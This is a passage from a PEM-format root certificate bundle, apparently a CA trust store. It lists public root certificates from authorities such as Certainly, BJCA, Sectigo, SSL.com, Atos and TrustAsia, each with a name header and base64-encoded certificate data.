lnx2xlv0wdsUpasZYgcYQF+Xkdycx6u1UQ3maVNVzDl92sURVXLFO4uJ+DQtpBflF+aZfTCIITfN
MBc9uPK8qHWgQ9w+iUuQrm0D4ByjoJYJu32jtyoQREtGBzRj7TG5BO6jm5qu5jF49OokYTurWGT/
u4cnYiWB39yhL/btp/96j1EuMPikAdKFOV8BmZZvWltwGUb+hmA+rYAQCd05JS9Yf7vSdPD3Rh9G
OUrYU9DzLjtxpdRv/PNn5AeP3SYZ4Y1b+qOTEZvpyDrDVWiakuFSdjjo4bq9+0/V77PnSIMx8IIh
47a+p6tv75/fTM8BuGJqIz3nCU2AG3swpMPdB380vqQmsvZB6Akd4yCYqjdP//fx4ilwMUc/dNAU
FvohigLVigmUdy7yWSiLfFCSCmZ4OIN1xLVaqBHG5cGdZlXPU8Sv13WFqUITVuwhd4GTWgzqltlJ
yqEI8pc7bZsEGCREjnwB8twl2F6GmrE52/WRMmrRpnCKovfepEWFJqgejF0pW8hL2JpqA15w8oVP
bEtoL8pU9ozaMv7Da4M/OMZ+
-----END CERTIFICATE-----

Certainly Root R1
=================
-----BEGIN CERTIFICATE-----
MIIFRzCCAy+gAwIBAgIRAI4P+UuQcWhlM1T01EQ5t+AwDQYJKoZIhvcNAQELBQAwPTELMAkGA1UE
BhMCVVMxEjAQBgNVBAoTCUNlcnRhaW5seTEaMBgGA1UEAxMRQ2VydGFpbmx5IFJvb3QgUjEwHhcN
MjEwNDAxMDAwMDAwWhcNNDYwNDAxMDAwMDAwWjA9MQswCQYDVQQGEwJVUzESMBAGA1UEChMJQ2Vy
dGFpbmx5MRowGAYDVQQDExFDZXJ0YWlubHkgUm9vdCBSMTCCAiIwDQYJKoZIhvcNAQEBBQADggIP
ADCCAgoCggIBANA21B/q3avk0bbm+yLA3RMNansiExyXPGhjZjKcA7WNpIGD2ngwEc/csiu+kr+O
5MQTvqRoTNoCaBZ0vrLdBORrKt03H2As2/X3oXyVtwxwhi7xOu9S98zTm/mLvg7fMbedaFySpvXl
8wo0tf97ouSHocavFwDvA5HtqRxOcT3Si2yJ9HiG5mpJoM610rCrm/b01C7jcvk2xusVtyWMOvwl
DbMicyF0yEqWYZL1LwsYpfSt4u5BvQF5+paMjRcCMLT5r3gajLQ2EBAHBXDQ9DGQilHFhiZ5shGI
XsXwClTNSaa/ApzSRKft43jvRl5tcdF5cBxGX1HpyTfcX35pe0HfNEXgO4T0oYoKNp43zGJS4YkN
KPl6I7ENPT2a/Z2B7yyQwHtETrtJ4A5KVpK8y7XdeReJkd5hiXSSqOMyhb5OhaRLWcsrxXiOcVTQ
AjeZjOVJ6uBUcqQRBi8LjMFbvrWhsFNunLhgkR9Za/kt9JQKl7XsxXYDVBtlUrpMklZRNaBA2Cnb
rlJ2Oy0wQJuK0EJWtLeIAaSHO1OWzaMWj/Nmqhexx2DgwUMFDO6bW2BvBlyHWyf5QBGenDPBt+U1
VwV/J84XIIwc/PH72jEpSe31C4SnT8H2TsIonPru4K8H+zMReiFPCyEQtkA6qyI6BJyLm4SGcprS
p6XEtHWRqSsjAgMBAAGjQjBAMA4GA1UdDwEB/wQEAwIBBjAPBgNVHRMBAf8EBTADAQH/MB0GA1Ud
DgQWBBTgqj8ljZ9EXME66C6ud0yEPmcM9DANBgkqhkiG9w0BAQsFAAOCAgEAuVevuBLaV4OPaAsz
HQNTVfSVcOQrPbA56/qJYv331hgELyE03fFo8NWWWt7CgKPBjcZq91l3rhVkz1t5BXdm6ozTaw3d
8VkswTOlMIAVRQdFGjEitpIAq5lNOo93r6kiyi9jyhXWx8bwPWz8HA2YEGGeEaIi1wrykXprOQ4v
MMM2SZ/g6Q8CRFA3lFV96p/2O7qUpUzpvD5RtOjKkjZUbVwlKNrdrRT90+7iIgXr0PK3aBLXWopB
GsaSpVo7Y0VPv+E6dyIvXL9G+VoDhRNCX8reU9ditaY1BMJH/5n9hN9czulegChB8n3nHpDYT3Y+
gjwN/KUD+nsa2UUeYNrEjvn8K8l7lcUq/6qJ34IxD3L/DCfXCh5WAFAeDJDBlrXYFIW7pw0WwfgH
JBu6haEaBQmAupVjyTrsJZ9/nbqkRxWbRHDxakvWOF5D8xh+UG7pWijmZeZ3Gzr9Hb4DJqPb1OG7
fpYnKx3upPvaJVQTA945xsMfTZDsjxtK0hzthZU4UHlG1sGQUDGpXJpuHfUzVounmdLyyCwzk5Iw
x06MZTMQZBf9JBeW0Y3COmor6xOLRPIh80oat3df1+2IpHLlOR+Vnb5nwXARPbv0+Em34yaXOp/S
X3z7wJl8OSngex2/DaeP0ik0biQVy96QXr8axGbqwua6OV+KmalBWQewLK8=
-----END CERTIFICATE-----

Certainly Root E1
=================
-----BEGIN CERTIFICATE-----
MIIB9zCCAX2gAwIBAgIQBiUzsUcDMydc+Y2aub/M+DAKBggqhkjOPQQDAzA9MQswCQYDVQQGEwJV
UzESMBAGA1UEChMJQ2VydGFpbmx5MRowGAYDVQQDExFDZXJ0YWlubHkgUm9vdCBFMTAeFw0yMTA0
MDEwMDAwMDBaFw00NjA0MDEwMDAwMDBaMD0xCzAJBgNVBAYTAlVTMRIwEAYDVQQKEwlDZXJ0YWlu
bHkxGjAYBgNVBAMTEUNlcnRhaW5seSBSb290IEUxMHYwEAYHKoZIzj0CAQYFK4EEACIDYgAE3m/4
fxzf7flHh4axpMCK+IKXgOqPyEpeKn2IaKcBYhSRJHpcnqMXfYqGITQYUBsQ3tA3SybHGWCA6TS9
YBk2QNYphwk8kXr2vBMj3VlOBF7PyAIcGFPBMdjaIOlEjeR2o0IwQDAOBgNVHQ8BAf8EBAMCAQYw
DwYDVR0TAQH/BAUwAwEB/zAdBgNVHQ4EFgQU8ygYy2R17ikq6+2uI1g4hevIIgcwCgYIKoZIzj0E
AwMDaAAwZQIxALGOWiDDshliTd6wT99u0nCK8Z9+aozmut6Dacpps6kFtZaSF4fC0urQe87YQVt8
rgIwRt7qy12a7DLCZRawTDBcMPPaTnOGBtjOiQRINzf43TNRnXCve1XYAS59BWQOhriR
-----END CERTIFICATE-----

Security Communication ECC RootCA1
==================================
-----BEGIN CERTIFICATE-----
MIICODCCAb6gAwIBAgIJANZdm7N4gS7rMAoGCCqGSM49BAMDMGExCzAJBgNVBAYTAkpQMSUwIwYD
VQQKExxTRUNPTSBUcnVzdCBTeXN0ZW1zIENPLixMVEQuMSswKQYDVQQDEyJTZWN1cml0eSBDb21t
dW5pY2F0aW9uIEVDQyBSb290Q0ExMB4XDTE2MDYxNjA1MTUyOFoXDTM4MDExODA1MTUyOFowYTEL
MAkGA1UEBhMCSlAxJTAjBgNVBAoTHFNFQ09NIFRydXN0IFN5c3RlbXMgQ08uLExURC4xKzApBgNV
BAMTIlNlY3VyaXR5IENvbW11bmljYXRpb24gRUNDIFJvb3RDQTEwdjAQBgcqhkjOPQIBBgUrgQQA
IgNiAASkpW9gAwPDvTH00xecK4R1rOX9PVdu12O/5gSJko6BnOPpR27KkBLIE+CnnfdldB9sELLo
5OnvbYUymUSxXv3MdhDYW72ixvnWQuRXdtyQwjWpS4g8EkdtXP9JTxpKULGjQjBAMB0GA1UdDgQW
BBSGHOf+LaVKiwj+KBH6vqNm+GBZLzAOBgNVHQ8BAf8EBAMCAQYwDwYDVR0TAQH/BAUwAwEB/zAK
BggqhkjOPQQDAwNoADBlAjAVXUI9/Lbu9zuxNuie9sRGKEkz0FhDKmMpzE2xtHqiuQ04pV1IKv3L
snNdo4gIxwwCMQDAqy0Obe0YottT6SXbVQjgUMzfRGEWgqtJsLKB7HOHeLRMsmIbEvoWTSVLY70e
N9k=
-----END CERTIFICATE-----

BJCA Global Root CA1
====================
-----BEGIN CERTIFICATE-----
MIIFdDCCA1ygAwIBAgIQVW9l47TZkGobCdFsPsBsIDANBgkqhkiG9w0BAQsFADBUMQswCQYDVQQG
EwJDTjEmMCQGA1UECgwdQkVJSklORyBDRVJUSUZJQ0FURSBBVVRIT1JJVFkxHTAbBgNVBAMMFEJK
Q0EgR2xvYmFsIFJvb3QgQ0ExMB4XDTE5MTIxOTAzMTYxN1oXDTQ0MTIxMjAzMTYxN1owVDELMAkG
A1UEBhMCQ04xJjAkBgNVBAoMHUJFSUpJTkcgQ0VSVElGSUNBVEUgQVVUSE9SSVRZMR0wGwYDVQQD
DBRCSkNBIEdsb2JhbCBSb290IENBMTCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBAPFm
CL3ZxRVhy4QEQaVpN3cdwbB7+sN3SJATcmTRuHyQNZ0YeYjjlwE8R4HyDqKYDZ4/N+AZspDyRhyS
sTphzvq3Rp4Dhtczbu33RYx2N95ulpH3134rhxfVizXuhJFyV9xgw8O558dnJCNPYwpj9mZ9S1Wn
P3hkSWkSl+BMDdMJoDIwOvqfwPKcxRIqLhy1BDPapDgRat7GGPZHOiJBhyL8xIkoVNiMpTAK+BcW
yqw3/XmnkRd4OJmtWO2y3syJfQOcs4ll5+M7sSKGjwZteAf9kRJ/sGsciQ35uMt0WwfCyPQ10WRj
eulumijWML3mG90Vr4TqnMfK9Q7q8l0ph49pczm+LiRvRSGsxdRpJQaDrXpIhRMsDQa4bHlW/KNn
MoH1V6XKV0Jp6VwkYe/iMBhORJhVb3rCk9gZtt58R4oRTklH2yiUAguUSiz5EtBP6DF+bHq/pj+b
OT0CFqMYs2esWz8sgytnOYFcuX6U1WTdno9uruh8W7TXakdI136z1C2OVnZOz2nxbkRs1CTqjSSh
GL+9V/6pmTW12xB3uD1IutbB5/EjPtffhZ0nPNRAvQoMvfXnjSXWgXSHRtQpdaJCbPdzied9v3pK
H9MiyRVVz99vfFXQpIsHETdfg6YmV6YBW37+WGgHqel62bno/1Afq8K0wM7o6v0PvY1NuLxxAgMB
AAGjQjBAMB0GA1UdDgQWBBTF7+3M2I0hxkjk49cULqcWk+WYATAPBgNVHRMBAf8EBTADAQH/MA4G
A1UdDwEB/wQEAwIBBjANBgkqhkiG9w0BAQsFAAOCAgEAUoKsITQfI/Ki2Pm4rzc2IInRNwPWaZ+4
YRC6ojGYWUfo0Q0lHhVBDOAqVdVXUsv45Mdpox1NcQJeXyFFYEhcCY5JEMEE3KliawLwQ8hOnThJ
dMkycFRtwUf8jrQ2ntScvd0g1lPJGKm1Vrl2i5VnZu69mP6u775u+2D2/VnGKhs/I0qUJDAnyIm8
60Qkmss9vk/Ves6OF8tiwdneHg56/0OGNFK8YT88X7vZdrRTvJez/opMEi4r89fO4aL/3Xtw+zuh
TaRjAv04l5U/BXCga99igUOLtFkNSoxUnMW7gZ/NfaXvCyUeOiDbHPwfmGcCCtRzRBPbUYQaVQNW
4AB+dAb/OMRyHdOoP2gxXdMJxy6MW2Pg6Nwe0uxhHvLe5e/2mXZgLR6UcnHGCyoyx5JO1UbXHfmp
GQrI+pXObSOYqgs4rZpWDW+N8TEAiMEXnM0ZNjX+VVOg4DwzX5Ze4jLp3zO7Bkqp2IRzznfSxqxx
4VyjHQy7Ct9f4qNx2No3WqB4K/TUfet27fJhcKVlmtOJNBir+3I+17Q9eVzYH6Eze9mCUAyTF6ps
3MKCuwJXNq+YJyo5UOGwifUll35HaBC07HPKs5fRJNz2YqAo07WjuGS3iGJCz51TzZm+ZGiPTx4S
SPfSKcOYKMryMguTjClPPGAyzQWWYezyr/6zcCwupvI=
-----END CERTIFICATE-----

BJCA Global Root CA2
====================
-----BEGIN CERTIFICATE-----
MIICJTCCAaugAwIBAgIQLBcIfWQqwP6FGFkGz7RK6zAKBggqhkjOPQQDAzBUMQswCQYDVQQGEwJD
TjEmMCQGA1UECgwdQkVJSklORyBDRVJUSUZJQ0FURSBBVVRIT1JJVFkxHTAbBgNVBAMMFEJKQ0Eg
R2xvYmFsIFJvb3QgQ0EyMB4XDTE5MTIxOTAzMTgyMVoXDTQ0MTIxMjAzMTgyMVowVDELMAkGA1UE
BhMCQ04xJjAkBgNVBAoMHUJFSUpJTkcgQ0VSVElGSUNBVEUgQVVUSE9SSVRZMR0wGwYDVQQDDBRC
SkNBIEdsb2JhbCBSb290IENBMjB2MBAGByqGSM49AgEGBSuBBAAiA2IABJ3LgJGNU2e1uVCxA/jl
SR9BIgmwUVJY1is0j8USRhTFiy8shP8sbqjV8QnjAyEUxEM9fMEsxEtqSs3ph+B99iK++kpRuDCK
/eHeGBIK9ke35xe/J4rUQUyWPGCWwf0VHKNCMEAwHQYDVR0OBBYEFNJKsVF/BvDRgh9Obl+rg/xI
1LCRMA8GA1UdEwEB/wQFMAMBAf8wDgYDVR0PAQH/BAQDAgEGMAoGCCqGSM49BAMDA2gAMGUCMBq8
W9f+qdJUDkpd0m2xQNz0Q9XSSpkZElaA94M04TVOSG0ED1cxMDAtsaqdAzjbBgIxAMvMh1PLet8g
UXOQwKhbYdDFUDn9hf7B43j4ptZLvZuHjw/l1lOWqzzIQNph91Oj9w==
-----END CERTIFICATE-----

Sectigo Public Server Authentication Root E46
=============================================
-----BEGIN CERTIFICATE-----
MIICOjCCAcGgAwIBAgIQQvLM2htpN0RfFf51KBC49DAKBggqhkjOPQQDAzBfMQswCQYDVQQGEwJH
QjEYMBYGA1UEChMPU2VjdGlnbyBMaW1pdGVkMTYwNAYDVQQDEy1TZWN0aWdvIFB1YmxpYyBTZXJ2
ZXIgQXV0aGVudGljYXRpb24gUm9vdCBFNDYwHhcNMjEwMzIyMDAwMDAwWhcNNDYwMzIxMjM1OTU5
WjBfMQswCQYDVQQGEwJHQjEYMBYGA1UEChMPU2VjdGlnbyBMaW1pdGVkMTYwNAYDVQQDEy1TZWN0
aWdvIFB1YmxpYyBTZXJ2ZXIgQXV0aGVudGljYXRpb24gUm9vdCBFNDYwdjAQBgcqhkjOPQIBBgUr
gQQAIgNiAAR2+pmpbiDt+dd34wc7qNs9Xzjoq1WmVk/WSOrsfy2qw7LFeeyZYX8QeccCWvkEN/U0
NSt3zn8gj1KjAIns1aeibVvjS5KToID1AZTc8GgHHs3u/iVStSBDHBv+6xnOQ6OjQjBAMB0GA1Ud
DgQWBBTRItpMWfFLXyY4qp3W7usNw/upYTAOBgNVHQ8BAf8EBAMCAYYwDwYDVR0TAQH/BAUwAwEB
/zAKBggqhkjOPQQDAwNnADBkAjAn7qRaqCG76UeXlImldCBteU/IvZNeWBj7LRoAasm4PdCkT0RH
lAFWovgzJQxC36oCMB3q4S6ILuH5px0CMk7yn2xVdOOurvulGu7t0vzCAxHrRVxgED1cf5kDW21U
SAGKcw==
-----END CERTIFICATE-----

Sectigo Public Server Authentication Root R46
=============================================
-----BEGIN CERTIFICATE-----
MIIFijCCA3KgAwIBAgIQdY39i658BwD6qSWn4cetFDANBgkqhkiG9w0BAQwFADBfMQswCQYDVQQG
EwJHQjEYMBYGA1UEChMPU2VjdGlnbyBMaW1pdGVkMTYwNAYDVQQDEy1TZWN0aWdvIFB1YmxpYyBT
ZXJ2ZXIgQXV0aGVudGljYXRpb24gUm9vdCBSNDYwHhcNMjEwMzIyMDAwMDAwWhcNNDYwMzIxMjM1
OTU5WjBfMQswCQYDVQQGEwJHQjEYMBYGA1UEChMPU2VjdGlnbyBMaW1pdGVkMTYwNAYDVQQDEy1T
ZWN0aWdvIFB1YmxpYyBTZXJ2ZXIgQXV0aGVudGljYXRpb24gUm9vdCBSNDYwggIiMA0GCSqGSIb3
DQEBAQUAA4ICDwAwggIKAoICAQCTvtU2UnXYASOgHEdCSe5jtrch/cSV1UgrJnwUUxDaef0rty2k
1Cz66jLdScK5vQ9IPXtamFSvnl0xdE8H/FAh3aTPaE8bEmNtJZlMKpnzSDBh+oF8HqcIStw+Kxwf
GExxqjWMrfhu6DtK2eWUAtaJhBOqbchPM8xQljeSM9xfiOefVNlI8JhD1mb9nxc4Q8UBUQvX4yMP
FF1bFOdLvt30yNoDN9HWOaEhUTCDsG3XME6WW5HwcCSrv0WBZEMNvSE6Lzzpng3LILVCJ8zab5vu
ZDCQOc2TZYEhMbUjUDM3IuM47fgxMMxF/mL50V0yeUKH32rMVhlATc6qu/m1dkmU8Sf4kaWD5Qaz
Yw6A3OASVYCmO2a0OYctyPDQ0RTp5A1NDvZdV3LFOxxHVp3i1fuBYYzMTYCQNFu31xR13NgESJ/A
wSiItOkcyqex8Va3e0lMWeUgFaiEAin6OJRpmkkGj80feRQXEgyDet4fsZfu+Zd4KKTIRJLpfSYF
plhym3kT2BFfrsU4YjRosoYwjviQYZ4ybPUHNs2iTG7sijbt8uaZFURww3y8nDnAtOFr94MlI1fZ
EoDlSfB1D++N6xybVCi0ITz8fAr/73trdf+LHaAZBav6+CuBQug4urv7qv094PPK306Xlynt8xhW
6aWWrL3DkJiy4Pmi1KZHQ3xtzwIDAQABo0IwQDAdBgNVHQ4EFgQUVnNYZJX5khqwEioEYnmhQBWI
IUkwDgYDVR0PAQH/BAQDAgGGMA8GA1UdEwEB/wQFMAMBAf8wDQYJKoZIhvcNAQEMBQADggIBAC9c
mTz8Bl6MlC5w6tIyMY208FHVvArzZJ8HXtXBc2hkeqK5Duj5XYUtqDdFqij0lgVQYKlJfp/imTYp
E0RHap1VIDzYm/EDMrraQKFz6oOht0SmDpkBm+S8f74TlH7Kph52gDY9hAaLMyZlbcp+nv4fjFg4
exqDsQ+8FxG75gbMY/qB8oFM2gsQa6H61SilzwZAFv97fRheORKkU55+MkIQpiGRqRxOF3yEvJ+M
0ejf5lG5Nkc/kLnHvALcWxxPDkjBJYOcCj+esQMzEhonrPcibCTRAUH4WAP+JWgiH5paPHxsnnVI
84HxZmduTILA7rpXDhjvLpr3Etiga+kFpaHpaPi8TD8SHkXoUsCjvxInebnMMTzD9joiFgOgyY9m
pFuiTdaBJQbpdqQACj7LzTWb4OE4y2BThihCQRxEV+ioratF4yUQvNs+ZUH7G6aXD+u5dHn5Hrwd
Vw1Hr8Mvn4dGp+smWg9WY7ViYG4A++MnESLn/pmPNPW56MORcr3Ywx65LvKRRFHQV80MNNVIIb/b
E/FmJUNS0nAiNs2fxBx1IK1jcmMGDw4nztJqDby1ORrp0XZ60Vzk50lJLVU3aPAaOpg+VBeHVOmm
J1CJeyAvP/+/oYtKR5j/K3tJPsMpRmAYQqszKbrAKbkTidOIijlBO8n9pu0f9GBj39ItVQGL
-----END CERTIFICATE-----

SSL.com TLS RSA Root CA 2022
============================
-----BEGIN CERTIFICATE-----
MIIFiTCCA3GgAwIBAgIQb77arXO9CEDii02+1PdbkTANBgkqhkiG9w0BAQsFADBOMQswCQYDVQQG
EwJVUzEYMBYGA1UECgwPU1NMIENvcnBvcmF0aW9uMSUwIwYDVQQDDBxTU0wuY29tIFRMUyBSU0Eg
Um9vdCBDQSAyMDIyMB4XDTIyMDgyNTE2MzQyMloXDTQ2MDgxOTE2MzQyMVowTjELMAkGA1UEBhMC
VVMxGDAWBgNVBAoMD1NTTCBDb3Jwb3JhdGlvbjElMCMGA1UEAwwcU1NMLmNvbSBUTFMgUlNBIFJv
b3QgQ0EgMjAyMjCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBANCkCXJPQIgSYT41I57u
9nTPL3tYPc48DRAokC+X94xI2KDYJbFMsBFMF3NQ0CJKY7uB0ylu1bUJPiYYf7ISf5OYt6/wNr/y
7hienDtSxUcZXXTzZGbVXcdotL8bHAajvI9AI7YexoS9UcQbOcGV0insS657Lb85/bRi3pZ7Qcac
oOAGcvvwB5cJOYF0r/c0WRFXCsJbwST0MXMwgsadugL3PnxEX4MN8/HdIGkWCVDi1FW24IBydm5M
R7d1VVm0U3TZlMZBrViKMWYPHqIbKUBOL9975hYsLfy/7PO0+r4Y9ptJ1O4Fbtk085zx7AGL0SDG
D6C1vBdOSHtRwvzpXGk3R2azaPgVKPC506QVzFpPulJwoxJF3ca6TvvC0PeoUidtbnm1jPx7jMEW
TO6Af77wdr5BUxIzrlo4QqvXDz5BjXYHMtWrifZOZ9mxQnUjbvPNQrL8VfVThxc7wDNY8VLS+YCk
8OjwO4s4zKTGkH8PnP2L0aPP2oOnaclQNtVcBdIKQXTbYxE3waWglksejBYSd66UNHsef8JmAOSq
g+qKkK3ONkRN0VHpvB/zagX9wHQfJRlAUW7qglFA35u5CCoGAtUjHBPW6dvbxrB6y3snm/vg1UYk
7RBLY0ulBY+6uB0rpvqR4pJSvezrZ5dtmi2fgTIFZzL7SAg/2SW4BCUvAgMBAAGjYzBhMA8GA1Ud
EwEB/wQFMAMBAf8wHwYDVR0jBBgwFoAU+y437uOEeicuzRk1sTN8/9REQrkwHQYDVR0OBBYEFPsu
N+7jhHonLs0ZNbEzfP/UREK5MA4GA1UdDwEB/wQEAwIBhjANBgkqhkiG9w0BAQsFAAOCAgEAjYlt
hEUY8U+zoO9opMAdrDC8Z2awms22qyIZZtM7QbUQnRC6cm4pJCAcAZli05bg4vsMQtfhWsSWTVTN
j8pDU/0quOr4ZcoBwq1gaAafORpR2eCNJvkLTqVTJXojpBzOCBvfR4iyrT7gJ4eLSYwfqUdYe5by
iB0YrrPRpgqU+tvT5TgKa3kSM/tKWTcWQA673vWJDPFs0/dRa1419dvAJuoSc06pkZCmF8NsLzjU
o3KUQyxi4U5cMj29TH0ZR6LDSeeWP4+a0zvkEdiLA9z2tmBVGKaBUfPhqBVq6+AL8BQx1rmMRTqo
ENjwuSfr98t67wVylrXEj5ZzxOhWc5y8aVFjvO9nHEMaX3cZHxj4HCUp+UmZKbaSPaKDN7Egkaib
MOlqbLQjk2UEqxHzDh1TJElTHaE/nUiSEeJ9DU/1172iWD54nR4fK/4huxoTtrEoZP2wAgDHbICi
vRZQIA9ygV/MlP+7mea6kMvq+cYMwq7FGc4zoWtcu358NFcXrfA/rs3qr5nsLFR+jM4uElZI7xc7
P0peYNLcdDa8pUNjyw9bowJWCZ4kLOGGgYz+qxcs+sjiMho6/4UIyYOf8kpIEFR3N+2ivEC+5BB0
9+Rbu7nzifmPQdjH5FCQNYA+HLhNkNPU98OwoX6EyneSMSy4kLGCenROmxMmtNVQZlR4rmA=
-----END CERTIFICATE-----

SSL.com TLS ECC Root CA 2022
============================
-----BEGIN CERTIFICATE-----
MIICOjCCAcCgAwIBAgIQFAP1q/s3ixdAW+JDsqXRxDAKBggqhkjOPQQDAzBOMQswCQYDVQQGEwJV
UzEYMBYGA1UECgwPU1NMIENvcnBvcmF0aW9uMSUwIwYDVQQDDBxTU0wuY29tIFRMUyBFQ0MgUm9v
dCBDQSAyMDIyMB4XDTIyMDgyNTE2MzM0OFoXDTQ2MDgxOTE2MzM0N1owTjELMAkGA1UEBhMCVVMx
GDAWBgNVBAoMD1NTTCBDb3Jwb3JhdGlvbjElMCMGA1UEAwwcU1NMLmNvbSBUTFMgRUNDIFJvb3Qg
Q0EgMjAyMjB2MBAGByqGSM49AgEGBSuBBAAiA2IABEUpNXP6wrgjzhR9qLFNoFs27iosU8NgCTWy
JGYmacCzldZdkkAZDsalE3D07xJRKF3nzL35PIXBz5SQySvOkkJYWWf9lCcQZIxPBLFNSeR7T5v1
5wj4A4j3p8OSSxlUgaNjMGEwDwYDVR0TAQH/BAUwAwEB/zAfBgNVHSMEGDAWgBSJjy+j6CugFFR7
81a4Jl9nOAuc0DAdBgNVHQ4EFgQUiY8vo+groBRUe/NWuCZfZzgLnNAwDgYDVR0PAQH/BAQDAgGG
MAoGCCqGSM49BAMDA2gAMGUCMFXjIlbp15IkWE8elDIPDAI2wv2sdDJO4fscgIijzPvX6yv/N33w
7deedWo1dlJF4AIxAMeNb0Igj762TVntd00pxCAgRWSGOlDGxK0tk/UYfXLtqc/ErFc2KAhl3zx5
Zn6g6g==
-----END CERTIFICATE-----

Atos TrustedRoot Root CA ECC TLS 2021
=====================================
-----BEGIN CERTIFICATE-----
MIICFTCCAZugAwIBAgIQPZg7pmY9kGP3fiZXOATvADAKBggqhkjOPQQDAzBMMS4wLAYDVQQDDCVB
dG9zIFRydXN0ZWRSb290IFJvb3QgQ0EgRUNDIFRMUyAyMDIxMQ0wCwYDVQQKDARBdG9zMQswCQYD
VQQGEwJERTAeFw0yMTA0MjIwOTI2MjNaFw00MTA0MTcwOTI2MjJaMEwxLjAsBgNVBAMMJUF0b3Mg
VHJ1c3RlZFJvb3QgUm9vdCBDQSBFQ0MgVExTIDIwMjExDTALBgNVBAoMBEF0b3MxCzAJBgNVBAYT
AkRFMHYwEAYHKoZIzj0CAQYFK4EEACIDYgAEloZYKDcKZ9Cg3iQZGeHkBQcfl+3oZIK59sRxUM6K
DP/XtXa7oWyTbIOiaG6l2b4siJVBzV3dscqDY4PMwL502eCdpO5KTlbgmClBk1IQ1SQ4AjJn8ZQS
b+/Xxd4u/RmAo0IwQDAPBgNVHRMBAf8EBTADAQH/MB0GA1UdDgQWBBR2KCXWfeBmmnoJsmo7jjPX
NtNPojAOBgNVHQ8BAf8EBAMCAYYwCgYIKoZIzj0EAwMDaAAwZQIwW5kp85wxtolrbNa9d+F851F+
uDrNozZffPc8dz7kUK2o59JZDCaOMDtuCCrCp1rIAjEAmeMM56PDr9NJLkaCI2ZdyQAUEv049OGY
a3cpetskz2VAv9LcjBHo9H1/IISpQuQo
-----END CERTIFICATE-----

Atos TrustedRoot Root CA RSA TLS 2021
=====================================
-----BEGIN CERTIFICATE-----
MIIFZDCCA0ygAwIBAgIQU9XP5hmTC/srBRLYwiqipDANBgkqhkiG9w0BAQwFADBMMS4wLAYDVQQD
DCVBdG9zIFRydXN0ZWRSb290IFJvb3QgQ0EgUlNBIFRMUyAyMDIxMQ0wCwYDVQQKDARBdG9zMQsw
CQYDVQQGEwJERTAeFw0yMTA0MjIwOTIxMTBaFw00MTA0MTcwOTIxMDlaMEwxLjAsBgNVBAMMJUF0
b3MgVHJ1c3RlZFJvb3QgUm9vdCBDQSBSU0EgVExTIDIwMjExDTALBgNVBAoMBEF0b3MxCzAJBgNV
BAYTAkRFMIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAtoAOxHm9BYx9sKOdTSJNy/BB
l01Z4NH+VoyX8te9j2y3I49f1cTYQcvyAh5x5en2XssIKl4w8i1mx4QbZFc4nXUtVsYvYe+W/CBG
vevUez8/fEc4BKkbqlLfEzfTFRVOvV98r61jx3ncCHvVoOX3W3WsgFWZkmGbzSoXfduP9LVq6hdK
ZChmFSlsAvFr1bqjM9xaZ6cF4r9lthawEO3NUDPJcFDsGY6wx/J0W2tExn2WuZgIWWbeKQGb9Cpt
0xU6kGpn8bRrZtkh68rZYnxGEFzedUlnnkL5/nWpo63/dgpnQOPF943HhZpZnmKaau1Fh5hnstVK
PNe0OwANwI8f4UDErmwh3El+fsqyjW22v5MvoVw+j8rtgI5Y4dtXz4U2OLJxpAmMkokIiEjxQGMY
sluMWuPD0xeqqxmjLBvk1cbiZnrXghmmOxYsL3GHX0WelXOTwkKBIROW1527k2gV+p2kHYzygeBY
Br3JtuP2iV2J+axEoctr+hbxx1A9JNr3w+SH1VbxT5Aw+kUJWdo0zuATHAR8ANSbhqRAvNncTFd+
rrcztl524WWLZt+NyteYr842mIycg5kDcPOvdO3GDjbnvezBc6eUWsuSZIKmAMFwoW4sKeFYV+xa
fJlrJaSQOoD0IJ2azsct+bJLKZWD6TWNp0lIpw9MGZHQ9b8Q4HECAwEAAaNCMEAwDwYDVR0TAQH/
BAUwAwEB/zAdBgNVHQ4EFgQUdEmZ0f+0emhFdcN+tNzMzjkz2ggwDgYDVR0PAQH/BAQDAgGGMA0G
CSqGSIb3DQEBDAUAA4ICAQAjQ1MkYlxt/T7Cz1UAbMVWiLkO3TriJQ2VSpfKgInuKs1l+NsW4AmS
4BjHeJi78+xCUvuppILXTdiK/ORO/auQxDh1MoSf/7OwKwIzNsAQkG8dnK/haZPso0UvFJ/1TCpl
Q3IM98P4lYsU84UgYt1UU90s3BiVaU+DR3BAM1h3Egyi61IxHkzJqM7F78PRreBrAwA0JrRUITWX
AdxfG/F851X6LWh3e9NpzNMOa7pNdkTWwhWaJuywxfW70Xp0wmzNxbVe9kzmWy2B27O3Opee7c9G
slA9hGCZcbUztVdF5kJHdWoOsAgMrr3e97sPWD2PAzHoPYJQyi9eDF20l74gNAf0xBLh7tew2Vkt
afcxBPTy+av5EzH4AXcOPUIjJsyacmdRIXrMPIWo6iFqO9taPKU0nprALN+AnCng33eU0aKAQv9q
TFsR0PXNor6uzFFcw9VUewyu1rkGd4Di7wcaaMxZUa1+XGdrudviB0JbuAEFWDlN5LuYo7Ey7Nmj
1m+UI/87tyll5gfp77YZ6ufCOB0yiJA8EytuzO+rdwY0d4RPcuSBhPm5dDTedk+SKlOxJTnbPP/l
PqYO5Wue/9vsL3SD3460s6neFE3/MaNFcyT6lSnMEpcEoji2jbDwN/zIIX8/syQbPYtuzE2wFg2W
HYMfRsCbvUOZ58SWLs5fyQ==
-----END CERTIFICATE-----

TrustAsia Global Root CA G3
===========================
-----BEGIN CERTIFICATE-----
MIIFpTCCA42gAwIBAgIUZPYOZXdhaqs7tOqFhLuxibhxkw8wDQYJKoZIhvcNAQEMBQAwWjELMAkG
A1UEBhMCQ04xJTAjBgNVBAoMHFRydXN0QXNpYSBUZWNobm9sb2dpZXMsIEluYy4xJDAiBgNVBAMM
G1RydXN0QXNpYSBHbG9iYWwgUm9vdCBDQSBHMzAeFw0yMTA1MjAwMjEwMTlaFw00NjA1MTkwMjEw
MTlaMFoxCzAJBgNVBAYTAkNOMSUwIwYDVQQKDBxUcnVzdEFzaWEgVGVjaG5vbG9naWVzLCBJbmMu
MSQwIgYDVQQDDBtUcnVzdEFzaWEgR2xvYmFsIFJvb3QgQ0EgRzMwggIiMA0GCSqGSIb3DQEBAQUA
A4ICDwAwggIKAoICAQDAMYJhkuSUGwoqZdC+BqmHO1ES6nBBruL7dOoKjbmzTNyPtxNST1QY4Sxz
